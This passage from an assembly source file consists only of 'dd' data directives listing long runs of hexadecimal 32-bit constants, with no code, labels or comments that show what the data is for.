31771F65h, 9FC88561h, 0AE084C22h, 7E2454A8h, 49E96000h dd 0A1308B16h, 9D340308h, 6551B2EBh, 1FF1FD0h, 0D12B9C00h dd 0D458EEA0h, 98D500C8h, 14C731BFh, 1800CBF5h, 0C44E5079h dd 386D97Eh, 1B23CD97h, 0D38039BFh, 5000920Ch, 0BA60528Bh dd 7EA729h, 0CD704EB0h, 43EDA8FCh, 5B8EBC00h, 8260F72Eh dd 0D13B007Fh, 0D339361Bh, 7A006A33h, 0F38DE0B3h, 82C0A4h dd 7045DDFFh, 1CB253AEh, 0C6872200h, 0BF7A4DF4h, 4EBB0057h dd 0AC7954FBh, 5A242CDCh, 3F05C85Bh, 8040A53Dh, 0E7C08481h dd 61BE0629h, 8CE2241h, 0DF217D60h, 338C0BCh, 65E8395Fh dd 73E3AC75h, 0D24EC20Ah, 0FC00B483h, 5B6443E5h, 0E812F82Ah dd 1CA6F889h, 2A42B485h, 0E60D0EBCh, 9E1825Fh, 21AE8E84h dd 8014D177h, 600E4421h, 33EE95Fh, 1E578FDCh, 7DD8B726h dd 4D481AA6h, 2C3403FCh, 788D4470h, 565A00A0h, 5193B702h dd 0B319FE1h, 2C570841h, 3FCC2080h, 7A46E202h, 1C7FAE0Fh dd 2F566265h, 59FB862Dh, 20A0E4B8h, 39C0386Ah, 0F285A7FAh dd 1060A841h, 21847F60h, 9888079h, 786E0085h, 284D2D5Fh dd 0AA8711Dh, 0AE8FF780h, 2C26165h, 0B7290B02h, 9C80E2A6h dd 8C5D804Ch, 93E07160h, 19EE892h, 9BE50382h, 85D3C6B0h dd 0A206FB28h, 0D728C841h, 18A6D0CAh, 4F370CBDh, 0C026C1C0h dd 0E51D5AAEh, 76CD9600h, 0A0BCC448h, 1F34398h, 0A67E01BFh dd 0CC9AED95h, 0E00C759h, 17EBD73Bh, 16F8024Ah, 33CA2Fh dd 0A2610FA5h, 74006568h, 7EF160FAh, 0FA8DD05h, 1BB0FBF2h dd 0FE7D3EA0h, 0CD1EC0E5h, 6643D0F1h, 9FD6252Ah, 0C099EA23h dd 79E3B36h, 0B921A9B2h, 49B9020h, 80016231h, 5434B3CBh dd 1DC460D6h, 2AA300F3h, 36030CEAh, 0FC00FA70h, 7778D376h dd 0D8A993h, 90461C98h, 6E2083C3h, 7A26B300h, 0AD9D57FBh dd 0D5A00A4h, 0C9424165h, 960C193Ch, 922782Ch, 6121C0B0h dd 0FC0ECA8Ah, 934C7E00h, 5180FED0h, 254F00D1h, 5E6D1A7Ah dd 5803390Ch, 0A3E53208h, 1798E020h, 0CECB39BDh, 4FEC2782h dd 2740953Ah, 360F7547h, 3BF5D5DFh, 4E685038h, 8796FE0h dd 0FF054200h, 880C088Eh, 28DABEE5h, 210B60E0h, 8E81194Eh dd 85E4B701h, 46E929B5h, 0C51A7880h, 5838FFFEh, 88655F1Eh dd 40796E0Ch, 7B240082h, 0EAEA626h, 0FB7F4D6Bh, 64E66200h dd 1D4B77F9h, 8E110035h, 9B1CA9EEh, 0A40F0B96h, 40DC1776h dd 0B5836ABEh, 4E5D004Dh, 0A8CF88F5h, 2F1EA6B2h, 0EA00A528h dd 0C13AD3D6h, 95C5001Bh, 5553119Ch, 1E0131B9h, 0DB10F245h dd 0E9E83B25h, 0DA830071h, 0F0E1982Fh, 0EE12322Eh, 0AC0085A4h dd 77FA30FBh, 397DBDh, 978F3876h, 61E72868h, 7AF46701h dd 90E0995Fh, 79C421DDh, 28F83Fh, 0CB132C14h, 0B1E9319Eh dd 36EA7EE6h, 0D67D4907h, 284C8268h, 55C1307Ah, 0F73C3F50h dd 0CC3CA6E0h, 15080329h, 0E0CB3E01h, 1911BFh, 0F9D0AAD7h dd 6F22970Bh, 0E7007AB8h, 60A95237h, 3AC2FC10h, 0AA3CB51Ch dd 36A38301h, 0F84197D5h, 29E8A5FDh, 681CEC00h, 54D6F4DBh dd 0BC7100E0h, 12F635B0h, 0CF008E86h, 0E821D440h, 0C0BBFB9Ch dd 2BF6798h, 0D660AF2Fh, 3DFF0D11h, 0EF90778h, 17616A52h dd 6D7D131Ah, 0ED21900Eh, 0B530014Ch, 2AC0D45Dh, 451F0112h dd 0A53278E5h, 0F6A0DF25h, 0BA00213Bh, 48D856D0h, 0D6248Ah dd 1C255E7Ch, 0CF525337h, 2DD2F207h, 566712C1h, 5D6FF867h dd 0DC94B5C0h, 0F39D1h, 0D04B3E18h, 0D2B03F9Dh, 0CFEA7E00h dd 0B5678105h, 67B78B8h, 0BBEEEC37h, 0D21C70B6h, 738017BFh dd 0A53C9CC1h, 7087002Bh, 0BDC6281h, 880067B1h, 0FE39ADB0h dd 0F4614Ah, 0F9422085h, 0E331A150h, 0CCA8CB1Ch, 0D253C9C0h dd 193FBAh, 877C76D3h, 0EDECAD9Bh, 57A4780Eh, 5491C19Fh dd 0D083EBF6h, 0C3856803h, 755F9800h, 7CADA14Ch, 9530C4EEh dd 2ACCC37Eh, 6539200Eh, 5AF32037h, 0C04E6820h, 0A798C4C1h dd 0C66230D4h, 0C02B0981h, 6B4979h, 80F18E3Dh, 90D931E4h dd 0FAF40200h, 9F70C6B1h, 2B3D00C0h, 894EA58Ch, 0AE0114C4h dd 94731BD0h, 0E571ED59h dd 0D4DC25E1h, 81060166h, 0D2B1E5CDh, 3973E077h, 18C03DB8h dd 0B8E95205h, 8AD007A5h, 73667DB0h, 0D8B82193h, 75673BF4h dd 0CB7828h, 0B85B82C0h, 7ECD18F3h, 1D0F519Ah, 0C821C361h dd 19824FF7h, 0FF44249Fh, 0B917E483h, 0E498FDB7h, 31C9B069h dd 30308073h, 98DD92h, 0F96E541Dh, 4F9CC3B7h, 7A1E1990h dd 4300BAA3h, 78B2868Eh, 0BE3200B8h, 4F386016h, 3C01C836h dd 469192CCh, 5FF4C403h, 9E2BEh, 0D4E848D7h, 0D9B05043h dd 57F06700h, 0E6B565ABh, 0EEE87Dh, 0A942DE8Ch, 5A2315A7h dd 0EBFE6B0Eh, 21228C56h, 0AB7A3961h, 0CF904102h, 46C07E8Dh dd 0C5004F45h, 2B07B6BFh, 566952h, 0ADE38F3h, 96A5DFE1h dd 0AAE8D300h, 8CEDEE2Ch, 0F145047Eh, 8370E452h, 0F9F9889Ch dd 0ED80D04Ah, 602E58CFh, 0F2E3DB53h, 887004Bh, 38726962h dd 0E0005906h, 0F56D81C4h, 58AE3A47h, 53312E94h, 65E0118h dd 0EA0D6B0h, 0E94CE458h, 950B0EB1h, 6486D3h, 26C51FBh dd 0C0B2E8E7h, 0D21C2C21h, 9B0EF88Ch, 60F9F474h, 0E9827040h dd 0BACD007Eh, 114E038Eh, 0E80396B7h, 69943777h, 3DA3E0E3h dd 0CF78A1C7h, 53082018h, 0C629704Fh, 8701A93Ah, 0A111540Dh dd 0CC400F2Ah, 0B269CDh, 14590351h, 738AC25Fh, 0E3FBA400h dd 0B06AFD33h, 48631DEDh, 0AC99C0D2h, 0E12B9276h, 80602A3Fh dd 1CD0797Ah, 7638C2DBh, 573F00FEh, 0E8AFFD0Bh, 0A800BD1Ah dd 5BEA242h, 765B5C1h, 7F81D1E1h, 0BD67F0CBh, 0A003001h dd 913CAF99h, 0A15F9Fh, 0A26F87A9h, 0EC508810h, 193DEDE4h dd 0E3330723h, 27436C5Ch, 0C32000A1h, 4DC5282Ch, 0F4E5527Fh dd 4800D3F9h, 0C7A84ADEh, 9D3AABh, 36A27A70h, 9925518Fh dd 61EBB41Ch, 8052D60Fh, 0E7CDEE48h, 3F4200CBh, 0F8E912ADh dd 4E7D989Ch, 48D97530h, 3005D330h, 7078A7BAh, 0F4728F02h dd 8BDF1B07h, 91872384h, 12216B46h, 0F49A58h, 8BEE6C7h dd 19306E39h, 0C6CAD871h, 1A280095h, 0D8FD0790h, 0B648B76Bh dd 0FA260CE1h, 0EBD480D5h, 358D30B8h, 0E059390Ah, 29E4BE30h dd 0E4B18E03h, 35B253A6h, 0E97408h, 0AE9E30FAh, 0E61F05E7h dd 0F61510AFh, 3F940340h, 986BA059h, 83E1187h, 8674ED12h dd 0F9C07A02h, 538809Ch, 7976649h, 55FCA1A8h, 0B20ADB6h dd 0C09B884Ch, 0DF6B33Ch, 0AEBC490Ah, 0CF80F49Ah, 9DC3750Ah dd 5FC0E41h, 87C061CCh, 0CD1FA995h, 0A21BAB05h, 0F000430Eh dd 9F4D712Dh, 0FA863C02h, 0A8314E07h, 6674807Fh, 0D1001387h dd 3DBE7353h, 0EDDEB2D2h, 1CE5FBCCh, 7E9CA5h, 0F32A8F4h dd 59B00A07h, 7E6893Eh, 0B861FDA6h, 0A0F1A963h, 1FAAE477h dd 0AC0D1563h, 6C9A00D2h, 0ADCD43CFh, 79004AE0h, 3CE07836h dd 756909h, 8C7EF1CCh, 13930DAEh, 0FDB893Ch, 0E337579Ch dd 1CB58FDCh, 0B82A0E88h, 0FF6DB600h, 0A2C307F0h, 0AB96E107h dd 0ED80D1FCh, 0E4FDD3h, 741EAC8Ch, 91BF2327h, 1BA2FA03h dd 8B9348Bh, 90D6BB19h, 0E9D1DE0Ch, 97B50082h, 0FE3328FCh dd 4008CC6h, 0E876DF13h, 0F89840BCh, 1B3000B4h, 0FF62F979h dd 0E403EE25h, 5A3A410Dh, 0DD481808h, 9A5B5175h, 0B1513400h dd 74A5690Fh, 2FEC85h, 0E6B3407Fh, 565BB20Eh, 917ABF00h dd 0C4A0CCF9h, 3F743B18h, 2CB158E0h, 0BAEA2886h, 0AB047D00h dd 79E4337h, 0E1DC0358h, 2C1DB00Eh, 935C1A0h, 429D4B1Dh dd 90075C92h, 0D907C2F2h, 206066h, 919D1EA4h, 0C4BB7AA1h dd 5F283Eh, 22B072F6h, 2ACD25Ah, 796734EDh, 0EAE0435Bh dd 0A20ED8D9h, 7DDA2C0Ah, 0E75AE641h, 3FF0C4CFh, 68B4488Dh dd 0C6672103h, 6800A2A0h, 363B5F29h, 0C117050Fh, 0ED546111h dd 78A4040h, 6A635D04h, 34E508h, 746B9F20h, 5CEFB5FEh dd 6FCF5600h, 0D87C962Fh, 0E7FA3140h, 0EC326B29h, 3B248B80h dd 0B7000946h, 0AECD5B2Dh, 78920159h, 48DB319Ah, 7E3BD8D1h dd 256D5Ch, 841EFD5h, 305046D0h, 1310FC05h, 981FEE90h dd 3482F658h, 40624E42h, 9DFFEE6h, 9D39C244h, 0E094200h dd 0C600A3EDh, 0F7C70710h, 0B2CBAFh, 0AAE7DF70h, 75310C7Dh dd 900A0E8h, 0CA1B2E24h, 9AEC2Fh, 63AEEAA5h, 12FEC227h dd 0F03DDA78h, 0FB69800Eh, 7B2F70F4h, 15E30093h, 67359E8Ah dd 19C0FF7Ah, 5CC0699Ch, 0A12A1ED4h, 0F19880BCh, 0B210AC7Ch dd 991C7B01h, 7215C0DAh, 3F21D6F0h, 0D1B1D9B9h, 0F888B628h dd 110065E6h, 0EC36E786h, 60CDDEh, 0F5C1715Ch, 14D6769Fh dd 3F163539h, 83EF3E7Ch, 0AFBDF88Bh, 0D4C900F9h, 734FC798h dd 4700E7F2h, 0E6295548h, 3CC7A36h, 0A106137Fh, 3100CB26h dd 60B7BD3Ah, 32211Ah, 9D33E107h, 2EF37EA7h, 0AF2F4500h dd 0F191ADB1h, 531E060Fh, 60CCCFA9h, 0C338B707h, 0FA400E41h dd 0C62EECA0h, 864D9E8h, 88DDCA00h, 0DB65BEEAh, 1067035Eh dd 4EB74ACDh, 0F1B82100h, 0A736130Eh, 244D0733h, 206BDA03h dd 0C535A31Ah, 0F098E98h, 8A4A38h, 0BE82C85Fh, 308EC9Ah dd 78A21A5Ah, 9989FA8Bh, 9F93E8E4h, 0B7245501h, 4F56210Eh dd 7920D4h, 39270AEEh, 0F8B818C1h, 768A451Fh, 74068841h dd 81C89F43h, 34890F07h, 8E407F26h, 931A3F33h, 0FAF8B600h dd 0E697875Ch, 7CDEF631h, 0ADF900D0h, 9A13328Bh, 3800BBA8h dd 9C198F77h, 38F3346Dh, 41837872h, 0B43F7982h, 70282799h dd 0B60337B4h, 0E68A254Bh, 8E34A087h, 0D01F00DEh, 91B2DAFEh dd 9B3C59E2h, 0F35C8040h, 7D7E160h, 41C800A2h, 8BE580F7h dd 6F00AF16h, 79EDCC8Eh, 0A5259Ah, 49C2BFDh, 0A691E878h dd 8054803Ch, 0C97F3844h, 7067AB57h, 3E72023Ch, 4C7C1685h dd 99D5B140h, 2E519500h, 2780556h, 0F8291C32h, 0B365CEF2h dd 0B5FA87A0h, 0B400F118h, 0C5C68B40h, 5E8C30h, 0ADDCD713h dd 0CA7841D2h, 1B39A7F2h, 34EE1F51h, 0B68F8600h, 187B5CCCh dd 10CD7E70h, 6A00C8E6h, 30232A59h, 0D15136h, 0FBF1AB41h dd 0FAE68790h, 7B4C8900h, 0B5D2BC2Dh, 61880034h, 6298E81Fh dd 0DF78C990h, 40F6CA18h, 3CB8A3D8h, 0B100CCF4h, 0EA65D45Eh dd 98C097D8h, 9634C0ABh, 0FD700067h, 5CC4896Dh, 0CC007D15h dd 0C05D0E3h, 2864D17Bh, 394A9D2h, 36D959A8h, 0C0A44350h dd 3A972866h, 8C818500h, 1027AF87h, 737400FCh, 4AC021E2h dd 6E0032F3h, 26D23B08h, 1F6B9AB0h, 18B3661Bh, 77910C8h dd 388F03Dh, 7D515E86h, 445DC961h, 0A22230h, 4F39C87Ch dd 0D9B186D5h, 888B7500h, 0AB8F4113h, 0DF20CFA9h, 7ACF2381h dd 1F7270E6h, 0B1199C63h, 0D275B879h, 583A3101h, 0DCBB3EB0h dd 0B4C22CFh, 0B17300B4h, 6C79F09Ah, 601BFE8Eh, 2E1A2859h dd 0F300AFFFh, 9351CA87h, 69A606h, 673E710Bh, 2A65AE88h dd 6064D63Eh, 0F90EBE70h, 98560191h, 2D85E5E7h, 12284001h dd 2F003308h, 2553EB5Eh, 0EC058Bh, 0F70C4E3Fh, 0BAE4D7Dh dd 9CA13801h, 7573C9FCh, 0BB8970h, 85E27766h, 8FF2496Ch dd 39C02203h, 0A0C16E8Dh, 0DC2ABEh, 9299F4Bh, 8F7827BCh dd 7BD413Eh, 5177068Ah, 0EA1139C1h, 789B72CCh, 6012E057h dd 28BE18A8h, 0F750DD40h, 0D730AFDAh, 0BB6A19EEh, 961101FBh dd 0EDFDC503h, 0B573F00Eh, 0F0B8762Ch, 6519EF16h, 0BF70A690h dd 1778C1F8h, 4C8FA4D4h, 8C00572Ch, 1A9E93F5h, 3AAD844h dd 0BE0ADB0Fh, 99033858h, 98873E18h, 0F9BDF82Eh, 0E591180Fh dd 0FCE1916Bh, 0DDFF1C1h dd 1980611Fh, 909B8341h, 70626A6Dh, 80264B20h, 85A60980h dd 985A6399h, 4100C032h, 10771CFAh, 792E0C3h, 0EDA61868h dd 0E6AAF005h, 0AC0061BDh, 42E34740h, 23524D4h, 57C2CEE7h dd 3E40977Fh, 1605ED02h, 58787009h, 20E22422h, 8957FF49h dd 0DF1A9A05h, 0D01F6097h, 0FA14D346h, 9BDC0688h, 0C92ABBDEh dd 8A500487h, 1001608Ch, 0FEFF5973h, 30834602h, 0E022C2D4h dd 7EDAB0h, 0A36B56E8h, 2D8BD514h, 1070500h, 1E711221h dd 89EA03E0h, 0F9183D86h, 4B77B280h, 0F9858h, 0C6061454h dd 9EB86Dh, 0ACD4A3CCh, 0D07136B9h, 5C2C4E75h, 6700EDD3h dd 0EA1F0517h, 7A91008Ch, 56B47866h, 18C03F1Eh, 0C5579274h dd 0C2DC0582h, 80448941h, 0A6241D67h, 0E440C400h, 53166D04h dd 0E5FB3843h, 70ACAB0Eh, 0C0D38065h, 0A85A5F27h, 5B42F300h dd 5C6A0F24h, 0F7A10040h, 81980792h, 0BC005952h, 8AE2D3F9h dd 95771Ah, 90B370EEh, 0F7920D80h, 46668601h, 2FA012C8h dd 0F2AE0060h, 0F08907D6h, 534014B4h, 4FB05DE4h, 0F614FB3Ah dd 0B83C57h, 0BDE1D6EBh, 304B91Dh, 0E2C8A78Dh, 0DDF87924h dd 0D90728C0h, 1AFA1F5Ch, 4E473330h, 63B30069h, 28DDAC44h dd 0A400C7E2h, 3079F7A7h, 19A92Eh, 0C376E4D3h, 618DB92Ah dd 4217EF00h, 15248C85h, 0D1BD009Eh, 0BFF48969h, 9D016190h dd 6521AB8Ah, 1180012Fh, 6B424CC0h, 0A100884Fh, 1737C385h dd 1DA920h, 2743EC76h, 88FC44E0h, 25553200h, 4B749508h dd 1B06007Bh, 18240E9h, 0BA003F6Bh, 0DD53FAA2h, 9C84950h dd 0C51271DBh, 0B600702Bh, 16EED227h, 420FDE79h, 6366BAABh dd 0D957C43Fh, 3D60F201h, 329200D6h, 6B51ED5Bh, 0AEF44766h dd 55F44Ch, 918DF0DCh, 10CB2Ah, 0AC6D444Ch, 0B43A2F7h dd 59048E03h, 90680738h, 0B7519Fh, 0B14B4FFBh, 0E196A88Dh dd 0C71D401h, 0F7065C2h, 0B861CCh, 89B514D5h, 0D41B4ABh dd 8012C0E4h, 8F0011DCh, 58E29C1Dh, 9009044Fh, 87A54A53h dd 0B065F03Ch, 7B1F0892h, 0BC1E04ECh, 1BEE383h, 0FAE00F0Ch dd 6B008F9Fh, 0F656DBB8h, 30129CA3h, 7800E8E0h, 481C31A9h dd 138428BCh, 5FB90994h, 6580A2D2h, 0AB1A4DE1h, 0E5728500h dd 7E90EDBAh, 3C320193h, 0F4BB0836h, 0B7E44364h, 0F6DF2FB8h dd 15580405h, 87C08EDDh, 74F192D2h, 0B5DC5CE9h, 0DE486304h dd 4E04C10Ah, 0BBABE4B0h, 0B04B3330h, 6E996Fh, 5E3BF8A3h dd 524A5F14h, 21220937h, 91A62BB0h, 0D59B3CB5h, 0EC00DD3Dh dd 0A7A3EDF3h, 0F1078A9Eh, 71E0F7C3h, 0E8B17C97h, 0F6E48688h dd 615B00CBh, 736D59B2h, 33799A84h, 8BD41F02h, 407E5798h dd 7C2BDBh, 322C926h, 8883C2F9h, 7FADD400h, 0A1B83B8Ch dd 6E2500BFh, 0E2353398h, 0C60F4179h, 802819E9h, 0E07260B9h dd 0ACA4388Eh, 1E2A4B01h, 41C28AE4h, 3A4868C3h, 478EAC00h dd 3E0A0Bh, 542C49BCh, 323DD54Dh, 9F2BED00h, 8074D1FDh dd 0FB350061h, 244F0CB8h, 0A09A1699h, 9A006576h, 0F2CD484h dd 202A37Ah, 7DCB1DA4h, 60FF309Fh, 3CDF75h, 689C4714h dd 1DB6BE3Dh, 0F907B2B8h, 56D1C64Ch, 72E0CED0h, 183900ACh dd 78E42073h, 0F2015B7Dh, 0CBE5E9D9h, 9A703771h, 0ED99003Fh dd 9AAF4E27h, 60071C3Bh, 0E2C70925h, 0FD280CD0h, 0D6A12CFCh dd 9B5D00AFh, 388E1CD2h, 68127400h, 76935279h, 0AE5E07E0h dd 35CE6C0Dh, 7E23C010h, 5B02501Dh, 0DD840704h, 0C04BE23Ah dd 3B4F49Bh, 11E8C33Bh, 76B07B0Ah, 5800C771h, 4A0F50A8h dd 3DF12F56h, 8A804FB2h, 64DEE4D8h, 0C4012D68h, 58293843h dd 0AFF8DDF3h, 94471DC8h, 2D4C4DEh, 0B7B0D02Ch, 0B10045C9h dd 8FA12541h, 20D114h, 4260BE36h, 0FD38A63Ah, 0CA393C71h dd 955C7C5Ah, 45EC6785h, 0B16D8E11h, 3DA499E8h, 7000982Bh dd 623B2FF4h, 80393D3h, 0C6A9B118h, 497798EEh, 0C8B70315h dd 64D0BDCFh, 3056A1D8h, 44EDCA0Fh, 58B00046h, 7F611ACh dd 9CCF6179h, 96DDC10Fh, 0F7D82034h, 4D293F20h, 5B001051h dd 0D37B0387h, 6331B9E0h, 47B62621h, 2B7064h, 7F5897F6h dd 59CB260Ah, 365DD20Dh, 0F1424996h, 0E34609Dh, 4EC91BAh dd 8C376CC2h, 0C89307A8h, 94D8E103h, 5960003Eh, 0CBFBC2D5h dd 6030E264h, 0A2E6B880h, 119400DBh, 5E16BD3Dh, 144CE71Fh dd 3A1B0034h, 98445DE0h, 71011409h, 0BB02B6E1h, 0DC07AD88h dd 0BC33E0C0h, 913D3E00h, 8404B895h, 0F4210F45h, 7E003515h dd 0C0B6B4B0h, 0D9CD7003h, 0F0E18063h, 0F53DCA7h, 37D23BC9h dd 0D7FD9280h, 7803B636h, 0CB968BBAh, 11C9B809h, 6E040599h dd 0C007B71Ah, 5D0D6A3Ch, 1EAA261Eh, 870B4187h, 59BC2009h dd 59E92FDDh, 570060CEh, 7A944911h, 0E9B0C625h, 143E58EAh dd 39FF804Ah, 0E688164Ch, 4C9280Ch, 2352894h, 9DCB0087h dd 2961CCFCh, 0A40186C7h, 0E51489F4h, 6C60F67Ah, 9D553ABFh dd 0F7119530h, 6E00028Dh, 70AB57C6h, 0F6019AF8h, 74DC0F04h dd 5804A63Dh, 143490B2h, 4E072CDFh, 0B5967D18h, 7921FF81h dd 0E5D820h, 7548E3DDh, 65C081CCh, 765CD300h, 77F41006h dd 0D051001Bh, 0A457EBF7h, 0B603F19Ch, 0E25F3D4h, 0A822A890h dd 21500779h, 8F012007h, 2CC038A0h, 8B001029h, 0E4977614h dd 39D8562h, 0A3445671h, 0B09FCF38h, 0D225AD5Fh, 12C3D00h dd 0A2368EDEh, 0AE52CEEh, 0D66201FEh, 286B11ABh, 0E0DB0048h dd 5F33C9F6h, 49757C9Ch, 0BDC04405h, 5B577156h, 833BCC00h dd 2173F365h, 84B2FDh, 922862Dh, 2427749Ch, 62168726h dd 685B1501h, 0DE820B9h, 4537391h, 0DD9C78C4h, 678C88EFh dd 0A100B09Bh, 0B32684Bh, 61796047h, 98AC7BE2h, 0B8B39324h dd 0A582D740h, 381492D6h, 0A72CF2CDh, 14EA00DCh, 6C06A027h dd 0E2400B0h, 2F0EEE16h, 449C00A9h, 9142A381h, 80AF00D4h dd 64C661Ah, 0E4FD1F00h, 0E204C263h, 3DF97AB7h, 0F80DFACh dd 0EBC88A0Ah, 0CE002B14h, 0C4F4AA25h, 60EA94FBh, 8BA510CFh dd 9B00433Dh, 87096A42h, 0B4E68Dh, 36C31F6Dh, 33E4E53Fh dd 528B4600h, 3D28D3D9h, 24B0E7Bh, 73C09E6Bh, 0D0B7541Dh dd 0EAF68500h, 79242AFAh, 0BC250066h, 9E67386Dh, 6509AE6Ah dd 804BFEFBh, 589CC480h, 0E3F80C74h, 3DA80B21h, 0A871111Dh dd 8CA467CAh, 772C1900h, 41A0D6Bh, 7B10AC59h, 4F20E05Eh dd 8C00E2E6h, 332363BFh, 3A9D6257h, 0B5A4D27Dh, 6C810010h dd 93CE9928h, 0CABBE600h, 6B9F68C7h, 18204872h, 0F084B71Dh dd 34F78A38h, 0FEEA6F13h, 0E1A77443h, 0DD71D89Bh, 2CF01FA9h dd 0AC7A425Dh, 0DCA0C18Eh, 0FB798C87h, 109C784Ch, 8D122A7Eh dd 0C6B00E3h, 0D4746AC0h, 73AACC00h, 0B69597E2h, 20440579h dd 5D77E65h, 0FC86F8h, 0AC49ECE4h, 0D0029666h, 34B6175Ch dd 0BF6848C7h, 0B4E348F0h, 12604A0Bh, 0CFE1F8AFh, 7636DD75h dd 0B47F26A8h, 646750h, 14B2F413h, 0A8889525h, 20B11703h dd 0B0DB1A08h, 0BCD859h, 755E916Fh, 0B4D688C8h, 0CD163F00h dd 0ACE50315h, 0C59000B1h, 0B8191E42h, 881784C9h, 0DB00D169h dd 0DD1D1AC8h, 43540223h, 79EA0181h, 0C32A9440h, 0D79DF000h dd 826A190h, 2A8A7014h, 0FC2206h, 9AD2A904h, 2DA7D35Fh dd 9600CAE6h, 0D71B2723h, 22C0897Dh, 0A0594D7Bh, 3B4B00A0h dd 0C571FCAh, 0AC114BB5h, 0BED3F86h, 168B20E3h, 74F88E74h dd 7FB0065h, 7F743580h dd 0F4A8B17Ah, 5006C11h, 150D5C1Eh, 0D295D6h, 71350672h dd 0D04F84FAh, 0E8B094B3h, 626EE8E0h, 0F3CEC81Bh, 81F8B8C3h dd 0D2493D98h, 0A8F60368h, 5A2422Ah, 65FFF711h, 88E076B1h dd 5E97B926h, 6E010528h, 47295819h, 3DCC593Bh, 0AE6805F4h dd 82C72414h, 51E08573h, 3B3B4FCFh, 0BCA7010Eh, 6EDC3A4Bh dd 3E7060h, 0A53FA4EEh, 791A377Dh, 20634130h, 7F11E3ABh dd 14AC01FFh, 0C58CA80Bh, 0D0CD4727h, 0C2F94F9Bh, 9ECFD400h dd 64EF0C40h, 0CDDC4C5Ah, 35FC0700h, 52241914h, 810548h dd 0F28F8C38h, 702E82h, 5BB6A31Ah, 7A025CA7h, 390069F2h dd 894A2BB4h, 719909h, 5AC38DCh, 2A5D734h, 3A536900h, 7F4521EDh dd 0A4BC00CFh, 2519F674h, 0E7B0D724h, 0C1F88605h, 4880ECC8h dd 18781E7h, 0F3785912h, 0D84AC380h, 26C74337h, 0CFD49F24h dd 0FC6F34F0h, 0EDEC3Eh, 0C793E5FBh, 0ADA9C1DBh, 22481900h dd 0A8C16D4h, 0C22B138Bh, 4BCD006Ah, 0CF49CBB6h, 129D9806h dd 168FDF3h, 47B7C51Ah, 0D8BE26FBh, 29008539h, 0E3C213BCh dd 123C21D7h, 0A4A05Ch, 8EAE2A14h, 149AD1D3h, 8D7896F0h dd 21444B30h, 20868E4Eh, 39009247h, 8296CD73h, 38265Ch dd 0DB1BC46Eh, 2D5108B0h, 8C69A13Fh, 51B522C2h, 868D06C6h dd 40ED32BFh, 8AF7BE3Fh, 3813503Dh, 376F8600h, 0AEA681h dd 2422BF79h, 0A161F33Ah, 9F9BAC0Ch, 0A4B8803h, 7568722Ah dd 85C08B9Ch, 633878A0h, 70015F8Dh, 269E747h, 71807FA3h dd 9367F5E1h, 6200462Ah, 33482263h, 0F4CFBAh, 2B98284Eh dd 0FBAD91AAh, 1B811900h, 0A7560AA4h, 88C50321h, 9E1DC943h dd 34E2B2CBh, 876DABE0h, 6FBABE03h, 0A072954Eh, 74A83B6Ch dd 0A14C0012h, 483692AEh, 1A5C77CAh, 0C1F30B3Fh, 0C57A80DFh dd 55C371h, 0B6DB4460h, 0B51B947Dh, 0AC00D370h, 41617248h dd 1730F2Dh, 0C14A96Bh, 8002D75Dh, 0FBE03DD1h, 98AB2AC0h dd 69150040h, 0A11BF22Ch, 0DCA0C7E1h, 0A6022202h, 6293040Ch dd 8998A308h, 0B13087E1h, 0DE63A2h, 7EBE385h, 1D20164Fh dd 0C3FD400h, 125EBE1Bh, 68B29E6h, 53E17FCh, 80D702C5h dd 546C05B4h, 0B109B00h, 0F9E8D42Dh, 3EDF19A5h, 0D891318Eh dd 871FC566h, 234B6F14h, 0AACA00BEh, 67E638h, 0BCD37B30h dd 0F10EED8Ch, 10510600h, 992AC3A2h, 498D603Fh, 0DE520564h dd 0E63F4A8h, 75DCA300h, 9A5C7B19h, 0E0859859h, 14F400D3h dd 560DBE70h, 3700F76Bh, 0E33AF342h, 3BCCA692h, 3480B9F4h dd 0F802AB6Ah, 91006730h, 3F3C1981h, 0E5A6B0h, 706C8CE8h dd 4BA30C13h, 0A2BBE41Dh, 20AAEF0Ch, 6C7100FAh, 722D7060h dd 1C036746h, 82F6637Ch, 0BB4ED0E9h, 0C054744Dh, 6E350550h dd 0D500DEC1h, 0D010831Ch, 0C0BE82CBh, 6ECDA821h, 0C790C5D9h dd 745A8A00h, 91CB0E25h, 168E8BBh, 30FA02B6h, 80278496h dd 45AC0339h, 4C21BB8Dh, 8B01615Dh, 0E5BF8134h, 67B6048h dd 53A46400h, 1D05CA91h, 0DDB70389h, 76F3D5A5h, 0D048C800h dd 27E4249Eh, 0BCFA0741h, 43EB9D04h, 2000A560h, 6A1495F0h dd 30EAA626h, 4E9006BEh, 58001EB2h, 0E6B58133h, 60820843h dd 71C678E7h, 0EE01AFC9h, 0B79A261h, 37D05099h, 0B520C091h dd 0A990468Dh, 0B8B13E2Ah, 5F67724h, 251BF000h, 0F846BD83h dd 61AA0090h, 0A2B77FE8h, 1806AD17h, 0F60DC43Dh, 55850BD8h dd 0E6004A9Dh, 0B237B059h, 0F400E4FCh, 75BEAD97h, 0C290EFh dd 1BE53A2Fh, 3FD53218h, 370021F6h, 81C1B74Ch, 2F546Eh dd 182A2DAFh, 0CEE67DAAh, 5807367Eh, 7FF7B9BAh, 916A607Eh dd 610B2h, 476233F1h, 0FA85B3CDh, 37005E98h, 0B8E7C00Eh dd 516E63h, 74230527h, 325E50AEh, 62047000h, 0CD58E11Bh dd 1273F24Dh, 6896709h, 3025925Fh, 970EB200h, 62598DBCh dd 8B9F0090h, 1F505E48h, 340201F4h, 0AF55E5B8h, 0DC19205Ch dd 0E200FBC1h, 0F94394Fh, 184E4813h, 0B02811D9h, 6701594Dh dd 0E72EE55Ch, 0D0FCE206h, 0AB401BCh, 0A7F8700Fh, 52B88002h dd 0A9142BD2h, 63A3092h, 0F15FA60h, 0B000CF4Fh, 560890DAh dd 196200B1h, 867424AAh, 2100DCABh, 0BBC0C830h, 50A9087h dd 3137CD62h, 888DC6E7h, 0F186F800h, 0F7B09CFAh, 82D907A7h dd 0D0AA53C1h, 7F7A2FCEh, 614D3900h, 2779ABC6h, 285D1DF0h dd 80D414Fh, 9FC15460h, 8DC626E8h, 582AA4h, 0DE5DE6Dh dd 2E58B8AEh, 24483Eh, 1BA5C9C1h, 0C69D9A0h, 59C6EC62h dd 781CBEC6h, 9C3BEE35h, 24006DE9h, 0B437F1E2h, 723CE2C2h dd 3FBC0174h, 0A529525h, 1A8C402Ch, 0F10C7AE8h, 11D4C608h dd 4004A5D1h, 19E6CA2Dh, 22000FF8h, 587AA1FDh, 5808C71Ch dd 650043B2h, 8057C58Eh, 0BB0F6A46h, 80F707D7h, 3E2B9E9h dd 0C78D1F94h, 0A8500066h, 